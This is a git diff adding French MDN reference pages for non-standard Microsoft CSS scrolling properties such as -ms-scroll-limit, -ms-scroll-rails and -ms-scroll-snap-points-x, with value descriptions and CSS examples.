+<p>Dans l'exemple qui suit, le conteneur de l'image a <code>-ms-scroll-chaining property</code> qui vaut <code>chained</code> et c'est donc l'élément parent qui poursuivra le défilement. Si on avait utilisé <code>none</code>, un effet de blocage avec rebondissement aurait été utilisé. Pour plus d'informations, voir <a href="https://code.msdn.microsoft.com/windowsapps/scrolling-panning-and-47d70d4c">un exemple de défilement, déplacement, zoom en HTML</a>.</p>
+
+<pre class="brush: css">.imageContainer {
+  -ms-scroll-chaining: chained;
+  -ms-overflow-style: none;
+  -ms-content-zooming: zoom;
+  -ms-scroll-rails: none;
+  -ms-content-zoom-limit-min: 100%;
+  -ms-content-zoom-limit-max: 500%;
+  -ms-scroll-snap-type: proximity;
+  -ms-scroll-snap-points-x: snapList(100%, 200%, 300%, 400%, 500%);
+  -ms-overflow-style: none;
+  width: 480px;
+  height: 270px;
+  overflow: auto;
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p>Cette propriété est spécifique à Microsoft et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété ne s'applique qu'aux contrôles tactiles. Quelle que soit la valeur de <code>–ms-scroll-chaining</code>, les contrôles clavier ne permettront pas l'enchaînement du défilement et la navigation à la souris entraînera toujours le défilement sur l'élément ancêtre le plus proche.</p>
+
+<p>Cette propriété n'a aucun effet sur les éléments qui ne défilent pas.</p>
+
+<p>Cette propriété est uniquement disponible pour Windows 8 ou les versions ultérieures.</p>
diff --git a/files/fr/web/css/-ms-scroll-limit-x-max/index.html b/files/fr/web/css/-ms-scroll-limit-x-max/index.html
new file mode 100644
index 0000000000..88f3276fda
--- /dev/null
+++ b/files/fr/web/css/-ms-scroll-limit-x-max/index.html
@@ -0,0 +1,50 @@
+---
+title: '-ms-scroll-limit-x-max'
+slug: Web/CSS/-ms-scroll-limit-x-max
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scroll-limit-x-max
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-scroll-limit-x-max</strong></code> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une propriété spécifique à Microsoft</a> qui indique la valeur maximum pour la propriété {{domxref("Element.scrollLeft")}}.</p>
+
+<p>Cette propriété est accessible en lecture et en écriture.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>-ms-scroll-limit-x-max</code> est définie avec l'une des valeurs suivantes.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>
+ <p>La valeur maximale pour <code><a href="/fr/docs/Web/API/Element/scrollLeft">scrollLeft</a></code> est égale à <code><a href="/fr/docs/Web/API/Element/scrollWidth">scrollWidth</a></code>.</p>
+ </dd>
+ <dt>{{cssxref("length")}}</dt>
+ <dd>
+ <p>La longueur maximale choisie pour <code><a href="/fr/docs/Web/API/Element/scrollLeft">scrollLeft</a></code>.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété n'a aucun effet sur les éléments qui ne défilent pas.</p>
+
+<p>Le comportement choisi avec <code>-ms-scroll-limit-x-max</code> s'appliquera uniquement avec {{cssxref("msContentZoomFactor")}} qui vaut 1 ; pour les autres facteurs de zoom, le comportement de la propriété n'est pas défini.</p>
+
+<p>Cette propriété est uniquement disponible à partir de Windows 8.</p>
diff --git a/files/fr/web/css/-ms-scroll-limit-x-min/index.html b/files/fr/web/css/-ms-scroll-limit-x-min/index.html
new file mode 100644
index 0000000000..b9f22df94e
--- /dev/null
+++ b/files/fr/web/css/-ms-scroll-limit-x-min/index.html
@@ -0,0 +1,44 @@
+---
+title: '-ms-scroll-limit-x-min'
+slug: Web/CSS/-ms-scroll-limit-x-min
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scroll-limit-x-min
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-ms-scroll-limit-x-min</code></strong> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une propriété spécifique à Microsoft</a> qui indique la valeur minimale pour la propriété {{domxref("Element.scrollLeft")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>-ms-scroll-limit-x-min</code> est définie avec une longueur.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("length")}}</dt>
+ <dd>
+ <p>La valeur minimale pour la propriété <code>scrollLeft</code>. Si la valeur fournie est négative, c'est <code>0</code> qui sera utilisé.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété n'a aucun effet sur les éléments qui ne défilent pas.</p>
+
+<p>Le comportement choisi avec <code>-ms-scroll-limit-x-min</code> s'appliquera uniquement avec {{cssxref("msContentZoomFactor")}} qui vaut 1 ; pour les autres facteurs de zoom, le comportement de la propriété n'est pas défini.</p>
+
+<p>Cette propriété est uniquement disponible à partir de Windows 8.</p>
diff --git a/files/fr/web/css/-ms-scroll-limit-y-max/index.html b/files/fr/web/css/-ms-scroll-limit-y-max/index.html
new file mode 100644
index 0000000000..c677901f71
--- /dev/null
+++ b/files/fr/web/css/-ms-scroll-limit-y-max/index.html
@@ -0,0 +1,48 @@
+---
+title: '-ms-scroll-limit-y-max'
+slug: Web/CSS/-ms-scroll-limit-y-max
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scroll-limit-y-max
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-scroll-limit-y-max</strong></code> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une propriété spécifique à Microsoft</a> qui indique la valeur maximum pour la propriété {{domxref("Element.scrollTop")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>-ms-scroll-limit-y-max</code> est définie avec l'une des valeurs suivantes.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>
+ <p>La valeur maximale pour <code>scrollTop</code> est égale à {{domxref("Element.scrollHeight")}}.</p>
+ </dd>
+ <dt>{{cssxref("length")}}</dt>
+ <dd>
+ <p>La longueur maximale choisie pour <code>scrollTop</code>.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété n'a aucun effet sur les éléments qui ne défilent pas.</p>
+
+<p>Le comportement choisi avec <code>-ms-scroll-limit-y-max</code> s'appliquera uniquement avec {{cssxref("msContentZoomFactor")}} qui vaut 1 ; pour les autres facteurs de zoom, le comportement de la propriété n'est pas défini.</p>
+
+<p>Cette propriété est uniquement disponible à partir de Windows 8.</p>
diff --git a/files/fr/web/css/-ms-scroll-limit-y-min/index.html b/files/fr/web/css/-ms-scroll-limit-y-min/index.html
new file mode 100644
index 0000000000..85150a1660
--- /dev/null
+++ b/files/fr/web/css/-ms-scroll-limit-y-min/index.html
@@ -0,0 +1,44 @@
+---
+title: '-ms-scroll-limit-y-min'
+slug: Web/CSS/-ms-scroll-limit-y-min
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scroll-limit-y-min
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-ms-scroll-limit-y-min</code></strong> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une propriété spécifique à Microsoft</a> qui indique la valeur minimale pour la propriété {{domxref("Element.scrollTop")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>-ms-scroll-limit-y-min</code> est définie avec une longueur.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("length")}}</dt>
+ <dd>
+ <p>La valeur minimale pour la propriété <code>scrollTop</code>. Si la valeur fournie est négative, c'est <code>0</code> qui sera utilisé.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété n'a aucun effet sur les éléments qui ne défilent pas.</p>
+
+<p>Le comportement choisi avec <code>-ms-scroll-limit-y-min</code> s'appliquera uniquement avec {{cssxref("msContentZoomFactor")}} qui vaut 1 ; pour les autres facteurs de zoom, le comportement de la propriété n'est pas défini.</p>
+
+<p>Cette propriété est uniquement disponible à partir de Windows 8.</p>
diff --git a/files/fr/web/css/-ms-scroll-limit/index.html b/files/fr/web/css/-ms-scroll-limit/index.html
new file mode 100644
index 0000000000..b541233201
--- /dev/null
+++ b/files/fr/web/css/-ms-scroll-limit/index.html
@@ -0,0 +1,56 @@
+---
+title: '-ms-scroll-limit'
+slug: Web/CSS/-ms-scroll-limit
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scroll-limit
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-scroll-limit</strong></code> est <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">une propriété raccourcie</a> <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">spécifique à Microsoft</a> qui définit les valeurs de {{cssxref("-ms-scroll-limit-x-min")}}, {{cssxref("-ms-scroll-limit-y-min")}}, {{cssxref("-ms-scroll-limit-x-max")}} et {{cssxref("-ms-scroll-limit-y-max")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>-ms-scroll-limit</code> est définie avec une ou plusieurs valeurs de limite de défilmeent dans l'ordre et séparées par des espaces.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>-ms-scroll-limit-x-min</code></dt>
+ <dd>
+ <p>La valeur utilisée pour la propriété {{cssxref("-ms-scroll-limit-x-min")}}.</p>
+ </dd>
+ <dt><code>-ms-scroll-limit-y-min</code></dt>
+ <dd>
+ <p>La valeur utilisée pour la propriété {{cssxref("-ms-scroll-limit-y-min")}}.</p>
+ </dd>
+ <dt><code>-ms-scroll-limit-x-max</code></dt>
+ <dd>
+ <p>La valeur utilisée pour la propriété {{cssxref("-ms-scroll-limit-x-max")}}.</p>
+ </dd>
+ <dt><code>-ms-scroll-limit-y-max</code></dt>
+ <dd>
+ <p>La valeur utilisée pour la propriété {{cssxref("-ms-scroll-limit-y-max")}}.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique à Microsoft et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété n'a aucun effet sur les éléments qui ne défilent pas.</p>
+
+<p>Le comportement choisi avec <code>-ms-scroll-limit</code> s'appliquera uniquement avec {{cssxref("msContentZoomFactor")}} qui vaut 1 ; pour les autres facteurs de zoom, le comportement de la propriété n'est pas défini.</p>
+
+<p>Cette propriété est uniquement disponible à partir de Windows 8.</p>
diff --git a/files/fr/web/css/-ms-scroll-rails/index.html b/files/fr/web/css/-ms-scroll-rails/index.html
new file mode 100644
index 0000000000..c5441922c5
--- /dev/null
+++ b/files/fr/web/css/-ms-scroll-rails/index.html
@@ -0,0 +1,50 @@
+---
+title: '-ms-scroll-rails'
+slug: Web/CSS/-ms-scroll-rails
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scroll-rails
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-ms-scroll-rails</code></strong> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une propriété spécifique à Microsoft</a> qui indique si le défilement est contraint sur l'axe principal du déplacement.</p>
+
+<p>Cette propriété est accessible en lecture et en écriture.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <strong><code>-ms-scroll-rails</code></strong> est définie avec l'une des valeurs suivantes.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>
+ <p>Le contenu défile en suivant exactement le doigt de l'utilisateur. Cette valeur permet un déplacement libre.</p>
+ </dd>
+ <dt><code>railed</code></dt>
+ <dd>
+ <p>Le défilement est contraint sur l'axe principal. C'est la valeur par défaut.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété n'a adeucun effet sur les éléments qu'on ne peut pas faire défiler.</p>
+
+<p>À partir de Windows 8.1, cette propriété est prise en charge pour les interactions au pavé tactile.</p>
+
+<p>Cette propriété est uniquement disponible à partir de Windows 8.</p>
diff --git a/files/fr/web/css/-ms-scroll-snap-points-x/index.html b/files/fr/web/css/-ms-scroll-snap-points-x/index.html
new file mode 100644
index 0000000000..85d49351c5
--- /dev/null
+++ b/files/fr/web/css/-ms-scroll-snap-points-x/index.html
@@ -0,0 +1,88 @@
+---
+title: '-ms-scroll-snap-points-x'
+slug: Web/CSS/-ms-scroll-snap-points-x
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scroll-snap-points-x
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<p>La propriété CSS <strong><code>-ms-scroll-snap-points-x</code></strong> est une propriété <a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">spécifique à Microsoft </a>qui définit l'emplacement des points d'accroche le long de l'axe horizontal.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<div class="note">
+<p><strong>Note :</strong> Une valeur de type <code>&lt;length-percentage&gt;</code> est une valeur de type {{cssxref("&lt;length&gt;")}} ou une valeur de type {{cssxref("&lt;percentaqe&gt;")}}.</p>
+</div>
+
+<dl>
+ <dt><code>snapInterval( &lt;length-percentage&gt;, &lt;length-percentage&gt; )</code></dt>
+ <dd>
+ <p>Cette forme permet d'indiquer la position d'un point d'accroche puis l'intervalle entre les points d'accroche.</p>
+
+ <ul>
+  <li>La première valeur indique l'emplacement du premier point d'accroche.</li>
+  <li>La seconde valeur indique la distance entre chaque point d'accroche qui suit ou précède (c'est-à-dire à gauche et à droite du point d'accroche initial).</li>
+ </ul>
+ </dd>
+ <dt><code>snapList( &lt;length-percentage&gt;# )</code></dt>
+ <dd>
+ <p>Cette forme permet d'indiquer l'ensemble des points d'accroche comme une liste de valeurs séparées par des virgules. Chaque valeur représente un facteur de zoom.</p>
+
+ <ul>
+  <li>Si la valeur est inférieure à {{CSSXref("-ms-scroll-limit-x-min")}}, {{CSSXref("-ms-scroll-limit-x-min")}} sera utilisée.</li>
+  <li>Si la valeur est supérieure à {{CSSXref("-ms-scroll-limit-x-max")}}, {{CSSXref("-ms-scroll-limit-x-max")}} sera utilisée.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on illustre les deux types de valeurs possibles pour <code>-ms-scroll-snap-points-x</code>. Dans le premier sélecteur, le premier point d'accroche se situe à 0% et l'intervalle est défini à 100%. Dans le second sélecteur, chaque point d'accroche est défini séparément (à 100%, 200%, 300%, et ainsi de suite).</p>
+
+<pre class="brush: css">.container {
+  overflow-x: auto;
+  overflow-y: hidden;
+  -ms-scroll-snap-type: mandatory;
+  -ms-scroll-snap-points-x: snapInterval(0%, 100%);
+  width: 480px;
+  height: 270px;
+}
+
+.imageContainer {
+  -ms-scroll-chaining: chained;
+  -ms-overflow-style: none;
+  -ms-content-zooming: zoom;
+  -ms-scroll-rails: none;
+  -ms-scroll-limit-x-min: 100%;
+  -ms-scroll-limit-x-max: 500%;
+  -ms-scroll-snap-type: proximity;
+  -ms-scroll-snap-points-x: snapList(100%, 200%, 300%, 400%, 500%);
+  -ms-overflow-style: none;
+  width: 480px;
+  height: 270px;
+  overflow: auto;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété est disponible à partir de Windows 8. Elle n'a aucun effet pour les éléments qui ne permettent pas d'utiliser un ascenseur.</p>
+
+<p>À partir de Windows 8.1, cette propriété est également prise en charge pour les interactions à la souris, au clavier ou au pavé tactile.</p>
diff --git a/files/fr/web/css/-ms-scroll-snap-points-y/index.html b/files/fr/web/css/-ms-scroll-snap-points-y/index.html
new file mode 100644
index 0000000000..6568891ed1
--- /dev/null
+++ b/files/fr/web/css/-ms-scroll-snap-points-y/index.html
@@ -0,0 +1,94 @@
+---
+title: '-ms-scroll-snap-points-y'
+slug: Web/CSS/-ms-scroll-snap-points-y
+tags:
+  - CSS
+  - Non-standard
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scroll-snap-points-y
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<p>La propriété CSS <strong><code>-ms-scroll-snap-points-y</code></strong> est une propriété <a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">spécifique à Microsoft </a>qui définit l'emplacement des points d'accroche le long de l'axe vertical.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<div class="note">
+<p><strong>Note :</strong> Une valeur de type <code>&lt;length-percentage&gt;</code> est une valeur de type {{cssxref("&lt;length&gt;")}} ou une valeur de type {{cssxref("&lt;percentaqe&gt;")}}.</p>
+</div>
+
+<dl>
+ <dt><code>snapInterval( &lt;length-percentage&gt;, &lt;length-percentage&gt; )</code></dt>
+ <dd>
+ <p>Cette forme permet d'indiquer la position d'un point d'accroche puis l'intervalle entre les points d'accroche.</p>
+
+ <ul>
+  <li>La première valeur indique l'emplacement du premier point d'accroche.</li>
+  <li>La seconde valeur indique la distance entre chaque point d'accroche qui suit ou précède (c'est-à-dire au dessus et en dessous du point d'accroche initial).</li>
+ </ul>
+ </dd>
+ <dt><code>snapList( &lt;length-percentage&gt;# )</code></dt>
+ <dd>
+ <p>Cette forme permet d'indiquer l'ensemble des points d'accroche comme une liste de valeurs séparées par des virgules. Chaque valeur représente un facteur de zoom.</p>
+
+ <ul>
+  <li>Si la valeur est inférieure à {{CSSXref("-ms-scroll-limit-y-min")}}, {{CSSXref("-ms-scroll-limit-y-min")}} sera utilisée.</li>
+  <li>Si la valeur est supérieure à {{CSSXref("-ms-scroll-limit-y-max")}}, {{CSSXref("-ms-scroll-limit-y-max")}} sera utilisée.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on illustre les deux types de valeurs possibles pour <code>-ms-scroll-snap-points-y</code>. Dans le premier sélecteur, le premier point d'accroche se situe à 0% et l'intervalle est défini à 100%. Dans le second sélecteur, chaque point d'accroche est défini séparément (à 100%, 200%, 300%, et ainsi de suite).</p>
+
+<pre class="brush: css">.container {
+  overflow-x: auto;
+  overflow-y: hidden;
+  -ms-scroll-snap-type: mandatory;
+  -ms-scroll-snap-points-y: snapInterval(0%, 100%);
+  width: 480px;
+  height: 270px;
+}
+
+.imageContainer {
+  -ms-scroll-chaining: chained;
+  -ms-overflow-style: none;
+  -ms-content-zooming: zoom;
+  -ms-scroll-rails: none;
+  -ms-scroll-limit-x-min: 100%;
+  -ms-scroll-limit-x-max: 500%;
+  -ms-scroll-snap-type: proximity;
+  -ms-scroll-snap-points-y: snapList(100%, 200%, 300%, 400%, 500%);
+  -ms-overflow-style: none;
+  width: 480px;
+  height: 270px;
+  overflow: auto;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété est disponible à partir de Windows 8. Elle n'a aucun effet pour les éléments qui ne permettent pas d'utiliser un ascenseur.</p>
+
+<p>À partir de Windows 8.1, cette propriété est également prise en charge pour les interactions à la souris, au clavier ou au pavé tactile.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("-ms-scroll-snap-points-x")}}</li>
+ <li>{{cssxref("scroll-snap-points-y")}}, la propriété standard</li>
+</ul>
diff --git a/files/fr/web/css/-ms-scroll-snap-type/index.html b/files/fr/web/css/-ms-scroll-snap-type/index.html
new file mode 100644
index 0000000000..0007789495
--- /dev/null
+++ b/files/fr/web/css/-ms-scroll-snap-type/index.html
@@ -0,0 +1,50 @@
+---
+title: '-ms-scroll-snap-type'
+slug: Web/CSS/-ms-scroll-snap-type
+tags:
+  - CSS
+  - Non-standard
+  - Reference
+translation_of: Web/CSS/scroll-snap-type
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<p>La propriété <strong><code>-ms-scroll-snap-type</code></strong> est <a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">une propriété spécifique à Microsoft</a> qui indique le type de point d'accroche à utiliser pour l'élément courant.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Values" name="Values">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>
+ <p>Valeur initiale. Le déplacement et le défilement ne sont pas modifiés par les points d'accroche.</p>
+ </dd>
+ <dt><code>proximity</code></dt>
+ <dd>
+ <p>Lorsque l'inertie normale fait arriver à proximité d'un point d'accroche, la vitesse est ajustée afin que le mouvement se termine sur un point d'accroche. Il est toutefois possible que le mouvement se termine entre deux points d'accroche.</p>
+ </dd>
+ <dt><code>mandatory</code></dt>
+ <dd>
+ <p>L'inertie est ajustée afin que le mouvement se termine toujours sur un point d'accroche.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax" name="Formal_syntax">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Remarks" name="Remarks">Notes</h2>
+
+<p> </p>
+
+<p>Cette propriété est disponible à partir de Windows 8. Elle n'a aucun effet pour les éléments qui ne permettent pas d'utiliser un ascenseur.</p>
+
+<p>À partir de Windows 8.1, cette propriété est également prise en charge pour les interactions à la souris, au clavier ou au pavé tactile.</p>
diff --git a/files/fr/web/css/-ms-scroll-snap-x/index.html b/files/fr/web/css/-ms-scroll-snap-x/index.html
new file mode 100644
index 0000000000..6b889bb584
--- /dev/null
+++ b/files/fr/web/css/-ms-scroll-snap-x/index.html
@@ -0,0 +1,61 @@
+---
+title: '-ms-scroll-snap-x'
+slug: Web/CSS/-ms-scroll-snap-x
+tags:
+  - CSS
+  - Non-standard
+  - Propriété raccourcie
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scroll-snap-x
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<p>La propriété raccourcie <strong><code>-ms-scroll-snap-x</code></strong> est une <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">propriété spécifique à Microsoft</a> qui définit les valeurs des propriétés {{cssxref("-ms-scroll-snap-type")}} and {{cssxref("-ms-scroll-snap-points-x")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Values" name="Values">Valeurs</h3>
+
+<p>La propriété raccourcie <code>-ms-scroll-snap-x</code> est définie avec une ou deux des valeurs suivantes, dans cet ordre et séparées par des espaces.</p>
+
+<dl>
+ <dt><code>-ms-scroll-snap-type</code></dt>
+ <dd>
+ <p>La valeur de la propriété {{cssxref("-ms-scroll-snap-type")}}.</p>
+ </dd>
+ <dt><code>-ms-scroll-snap-points-x</code></dt>
+ <dd>
+ <p>La valeur de la propriété {{cssxref("-ms-scroll-snap-points-x")}}.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax" name="Formal_syntax">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Examples" name="Examples">Exemples</h2>
+
+<p>La proprirété <code>-ms-scroll-snap-x</code> est une propriété raccourcie. Les deux sélecteurs du fragment de code suivant auront le même effet.</p>
+
+<pre class="brush: css">.scroll1 {
+  -ms-scroll-snap-type: proximity;
+  -ms-scroll-snap-points-x: snapList(100%, 200%, 300%, 400%, 500%);
+}
+
+.scroll2 {
+  -ms-scroll-snap-x: proximity snapList(100%, 200%, 300%, 400%, 500%);
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété est disponible à partir de Windows 8. Elle n'a aucun effet pour les éléments qui ne permettent pas d'utiliser un ascenseur.</p>
+
+<p>À partir de Windows 8.1, cette propriété est également prise en charge pour les interactions à la souris, au clavier ou au pavé tactile.</p>
diff --git a/files/fr/web/css/-ms-scroll-snap-y/index.html b/files/fr/web/css/-ms-scroll-snap-y/index.html
new file mode 100644
index 0000000000..de5c0836cb
--- /dev/null
+++ b/files/fr/web/css/-ms-scroll-snap-y/index.html
@@ -0,0 +1,61 @@
+---
+title: '-ms-scroll-snap-y'
+slug: Web/CSS/-ms-scroll-snap-y
+tags:
+  - CSS
+  - Non-standard
+  - Propriété raccourcie
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scroll-snap-y
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<p>La propriété raccourcie <strong><code>-ms-scroll-snap-y</code></strong> est une <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">propriété spécifique à Microsoft</a> qui définit les valeurs des propriétés {{cssxref("-ms-scroll-snap-type")}} and {{cssxref("-ms-scroll-snap-points-y")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Values" name="Values">Valeurs</h3>
+
+<p>La propriété raccourcie <code>-ms-scroll-snap-y</code> est définie avec une ou deux des valeurs suivantes, dans cet ordre et séparées par des espaces.</p>
+
+<dl>
+ <dt><code>-ms-scroll-snap-type</code></dt>
+ <dd>
+ <p>La valeur de la propriété {{cssxref("-ms-scroll-snap-type")}}.</p>
+ </dd>
+ <dt><code>-ms-scroll-snap-points-y</code></dt>
+ <dd>
+ <p>La valeur de la propriété {{cssxref("-ms-scroll-snap-points-y")}}.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax" name="Formal_syntax">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Examples" name="Examples">Exemples</h2>
+
+<p>La proprirété <code>-ms-scroll-snap-y</code> est une propriété raccourcie. Les deux sélecteurs du fragment de code suivant auront le même effet.</p>
+
+<pre class="brush: css">.scroll1 {
+  -ms-scroll-snap-type: proximity;
+  -ms-scroll-snap-points-y: snapList(100%, 200%, 300%, 400%, 500%);
+}
+
+.scroll2 {
+  -ms-scroll-snap-y: proximity snapList(100%, 200%, 300%, 400%, 500%);
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété est disponible à partir de Windows 8. Elle n'a aucun effet pour les éléments qui ne permettent pas d'utiliser un ascenseur.</p>
+
+<p>À partir de Windows 8.1, cette propriété est également prise en charge pour les interactions à la souris, au clavier ou au pavé tactile.</p>
